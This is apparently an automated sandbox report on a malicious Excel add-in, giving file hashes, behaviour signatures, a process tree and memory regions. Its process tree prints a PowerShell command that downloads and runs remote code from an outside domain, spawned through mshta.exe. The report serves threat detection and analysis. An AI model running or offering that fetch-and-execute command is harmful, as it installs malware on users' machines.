Analysis

  • max time kernel
    146s
  • max time network
    149s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    22-05-2024 19:15

General

  • Target

    4ff4b84d4233a00cafef82b08777f38d01b7413c48bb8e2a4fc81c8df62d3904.xll

  • Size

    12KB

  • MD5

    6cc9731c3596d595d936cecf341024d5

  • SHA1

    d2f326eb528b0d2db19e1576f0a72d2bda0148be

  • SHA256

    4ff4b84d4233a00cafef82b08777f38d01b7413c48bb8e2a4fc81c8df62d3904

  • SHA512

    ea9d8af5a73ea9524a5b4231183f2ff3dc359bfa0264e1312ecfbfda82c9dc181f46dc6b1b731aca8d39985dbd2ea9a5c4eeab23eaba1b085df589f08dcbbbe5

  • SSDEEP

    192:HL29RBzDzeobchBj8JONlONFzJruqrEPEjr7Ahq:r29jnbcvYJOiJuqvr7Cq

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4ff4b84d4233a00cafef82b08777f38d01b7413c48bb8e2a4fc81c8df62d3904.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1940
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4344
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2576

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR1DMZ2N\d[1].htm

    Filesize

    2KB

    MD5

    f754844cfb65838d1dd6b19dde5d835c

    SHA1

    b3eb677783adc88c8d048898449e04d49f416db6

    SHA256

    3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

    SHA512

    f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

  • C:\Users\Admin\AppData\Local\Temp\4ff4b84d4233a00cafef82b08777f38d01b7413c48bb8e2a4fc81c8df62d3904.xll

    Filesize

    12KB

    MD5

    6cc9731c3596d595d936cecf341024d5

    SHA1

    d2f326eb528b0d2db19e1576f0a72d2bda0148be

    SHA256

    4ff4b84d4233a00cafef82b08777f38d01b7413c48bb8e2a4fc81c8df62d3904

    SHA512

    ea9d8af5a73ea9524a5b4231183f2ff3dc359bfa0264e1312ecfbfda82c9dc181f46dc6b1b731aca8d39985dbd2ea9a5c4eeab23eaba1b085df589f08dcbbbe5

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hkudcdev.q3r.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1940-10-0x00007FF982500000-0x00007FF982709000-memory.dmp

    Filesize

    2.0MB

  • memory/1940-14-0x00007FF982500000-0x00007FF982709000-memory.dmp

    Filesize

    2.0MB

  • memory/1940-6-0x00007FF982500000-0x00007FF982709000-memory.dmp

    Filesize

    2.0MB

  • memory/1940-7-0x00007FF982500000-0x00007FF982709000-memory.dmp

    Filesize

    2.0MB

  • memory/1940-83-0x00007FF982500000-0x00007FF982709000-memory.dmp

    Filesize

    2.0MB

  • memory/1940-8-0x00007FF982500000-0x00007FF982709000-memory.dmp

    Filesize

    2.0MB

  • memory/1940-0-0x00007FF942590000-0x00007FF9425A0000-memory.dmp

    Filesize

    64KB

  • memory/1940-81-0x00007FF942590000-0x00007FF9425A0000-memory.dmp

    Filesize

    64KB

  • memory/1940-12-0x00007FF93F9F0000-0x00007FF93FA00000-memory.dmp

    Filesize

    64KB

  • memory/1940-4-0x00007FF942590000-0x00007FF9425A0000-memory.dmp

    Filesize

    64KB

  • memory/1940-13-0x00007FF982500000-0x00007FF982709000-memory.dmp

    Filesize

    2.0MB

  • memory/1940-61-0x00007FF982500000-0x00007FF982709000-memory.dmp

    Filesize

    2.0MB

  • memory/1940-15-0x00007FF982500000-0x00007FF982709000-memory.dmp

    Filesize

    2.0MB

  • memory/1940-16-0x00007FF93F9F0000-0x00007FF93FA00000-memory.dmp

    Filesize

    64KB

  • memory/1940-3-0x00007FF9825A3000-0x00007FF9825A4000-memory.dmp

    Filesize

    4KB

  • memory/1940-1-0x00007FF942590000-0x00007FF9425A0000-memory.dmp

    Filesize

    64KB

  • memory/1940-5-0x00007FF942590000-0x00007FF9425A0000-memory.dmp

    Filesize

    64KB

  • memory/1940-9-0x00007FF982500000-0x00007FF982709000-memory.dmp

    Filesize

    2.0MB

  • memory/1940-11-0x00007FF982500000-0x00007FF982709000-memory.dmp

    Filesize

    2.0MB

  • memory/1940-82-0x00007FF942590000-0x00007FF9425A0000-memory.dmp

    Filesize

    64KB

  • memory/1940-80-0x00007FF942590000-0x00007FF9425A0000-memory.dmp

    Filesize

    64KB

  • memory/1940-2-0x00007FF942590000-0x00007FF9425A0000-memory.dmp

    Filesize

    64KB

  • memory/1940-79-0x00007FF942590000-0x00007FF9425A0000-memory.dmp

    Filesize

    64KB

  • memory/1940-62-0x00007FF982500000-0x00007FF982709000-memory.dmp

    Filesize

    2.0MB

  • memory/2576-36-0x0000000004C80000-0x0000000004CA2000-memory.dmp

    Filesize

    136KB

  • memory/2576-50-0x0000000007350000-0x00000000079CA000-memory.dmp

    Filesize

    6.5MB

  • memory/2576-51-0x0000000006040000-0x000000000605A000-memory.dmp

    Filesize

    104KB

  • memory/2576-49-0x0000000005B40000-0x0000000005B8C000-memory.dmp

    Filesize

    304KB

  • memory/2576-48-0x0000000005B00000-0x0000000005B1E000-memory.dmp

    Filesize

    120KB

  • memory/2576-47-0x0000000005640000-0x0000000005997000-memory.dmp

    Filesize

    3.3MB

  • memory/2576-38-0x0000000004F90000-0x0000000004FF6000-memory.dmp

    Filesize

    408KB

  • memory/2576-37-0x0000000004F20000-0x0000000004F86000-memory.dmp

    Filesize

    408KB

  • memory/2576-35-0x0000000005010000-0x000000000563A000-memory.dmp

    Filesize

    6.2MB

  • memory/2576-34-0x0000000000CE0000-0x0000000000D16000-memory.dmp

    Filesize

    216KB